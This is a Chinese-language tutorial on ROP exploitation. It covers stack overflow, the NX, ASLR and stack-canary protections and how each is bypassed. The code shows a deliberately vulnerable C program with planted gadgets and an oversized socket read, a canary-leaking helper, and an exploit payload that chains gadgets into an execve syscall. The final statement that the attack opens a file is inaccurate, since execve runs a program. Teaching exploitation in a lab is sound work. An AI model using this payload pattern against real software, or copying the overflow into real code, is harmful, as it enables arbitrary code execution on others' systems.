Rop系列

原理：攻击者扫描已有的动态链接库和可执行文件，提取出可以利用的指令片段(gadget)，这些指令片段均以ret指令结尾，即用ret指令实现指令片段执行流的衔接。操作系统通过栈来进行函数的调用和返回。函数的调用和返回就是通过压栈和出栈来实现的。每个程序都会维护一个程序运行栈，栈为所有函数共享，每次函数调用，系统会分配一个栈桢给当前被调用函数，用于参数的传递、局部变量的维护、返回地址的填入等。栈帧是程序运行栈的一部分 ，在Linux中 ，通过%esp和 %ebp寄存器维护栈顶指针和栈帧的起始地址 ，%eip是程序计数器寄存器 。而ROP攻击则是利用以ret结尾的程序片段 ，操作这些栈相关寄存器，控制程的流程，执行相应的gadget，实施攻击者预设目标 。ROP JOP COP RETURN\_TO\_LIBC等这一系列变种是通过不同的gadaget来构造配件链。

栈溢出的原理就是不顾堆栈中分配的局部数据块大小，向该数据快写入了过多的数据，导致数据越界，结果覆盖来看老的堆栈数据。

**栈溢出的保护机制**

栈上的数据无法被当作指令来执行

**数据执行保护(NX/DEP)**

绕过方法ROP JOP COP RETURN\_TO\_LIBC

**难以找到想要找的地址**

地址空间布局随机化(ASLR)

绕过方法:infoleak 、retdlresolve 、ROP

**检测栈数据是否被修改**

Stack Canary/ Cookie

绕过方法: infoleak

漏洞程序：

int unused() {

printf("%p\n",mprotect);

//Add some useful gadgets

asm volatile("\

pop rax;\

ret;\

pop rdi; \

ret; \

pop rsi; \

ret; \

pop rdx; \

ret; \

pop rdx; \

ret; \

pop rcx; \

ret; \

pop r8; \

ret; \

pop r9; \

ret; \

mov [rsi], rdi; \

ret; \

syscall;\

ret;\

pop rax;\

pop rcx;\

jmp rcx;\

pop rdi;\

pop rcx;\

jmp rcx;\

pop rsi;\

pop rcx;\

jmp rcx;\

pop rdx;\

pop rcx;\

jmp rcx;\

mov [rsi],rdi;\

pop rcx;\

jmp rcx;\

pop rbx;\

pop rax;\

pop rcx;\

call rcx;\

pop rbx;\

pop rdi;\

pop rcx;\

call rcx;\

pop rbx;\

pop rsi;\

pop rcx;\

call rcx;\

pop rbx;\

pop rdx;\

pop rcx;\

call rcx;\

pop rbx;\

mov [rsi],rdi;\

pop rcx;\

call rcx;\

");

}

这个函数的存在是为了方便攻击程序寻找配件，真实攻击中没有这么方便但是原理是一样的。

char buffer[512];

read(client\_sockfd, buffer, 2048);

这两行代码存在栈溢出点，我们计算返回地址可以覆盖成配件链的地址

long long int get\_canary(long long int b){

long long int a;

a = b;

asm volatile("\

mov rbx,552[rsp];\

mov -8[rbp],rbx;\

");

return a;

}

这个函数是为了绕过金丝雀保护

攻击程序：

rop = (

p64(POP\_RDI)

+ p64(HELLO)

+ p64(POP\_RSI)

+ p64(writeable\_addr)

+ p64(MOV\_RSI\_RDI)

+ p64(POP\_RDI)

+ p64(writeable\_addr)

+ p64(POP\_RSI)

+ p64(0)

+ p64(POP\_RDX)

+ p64(0)

+ p64(POP\_RAX)

+ p64(59)

+ p64(SYSCALL)

)

配件链的构造，ROP的变种系列就是构造不同的配件链

payload = 'A'\*520 + p64(canary) + 'B'\*8 + rop

将配件链通过栈溢出点覆盖返回地址，改变程序控制流，最终攻击结果是打开一个文件。